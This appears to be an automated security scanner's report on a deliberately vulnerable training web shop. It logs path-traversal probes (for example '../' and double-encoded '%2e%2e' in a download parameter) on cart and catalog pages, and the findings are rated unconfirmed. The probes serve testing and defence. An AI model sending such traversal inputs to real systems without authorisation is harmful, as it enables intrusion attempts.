curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=skspwfozz/../1&format=1&mode=1&state=1&code=1&session=1'

GET /cart.php?template=1&include=1&download=skspwfozz/../1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=skspwfozz/../1&format=…

request

GET /cart.php?template=1&include=1&download=skspwfozz/../1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=skspwfozz/%2e%2e/1…

request

GET /cart.php?template=1&include=1&download=skspwfozz/%2e%2e/1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=skspwfozz/1&format=1…

request

GET /cart.php?template=1&include=1&download=skspwfozz/1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:02 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=&format=1&mode=1…

request

GET /cart.php?template=1&include=1&download=&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:02 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · download unconfirmed · low confidence BV-022 info

location: GET https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1
input: download in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

download reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

download looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=skspwfozz/../1&format=1&mode=1&state=1&code=1&session=1'

GET /catalog.php?template=1&include=1&download=skspwfozz/../1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:56 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:56 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=skspwfozz/../1…

request

GET /catalog.php?template=1&include=1&download=skspwfozz/../1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:56 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=skspwfozz/%2e%2e/1…

request

GET /catalog.php?template=1&include=1&download=skspwfozz/%2e%2e/1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:56 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=skspwfozz/1&format=…

request

GET /catalog.php?template=1&include=1&download=skspwfozz/1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:56 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=&format=1&mode=1…

request

GET /catalog.php?template=1&include=1&download=&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:57 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · download unconfirmed · low confidence BV-023 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1
input: download in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

download reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

download looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

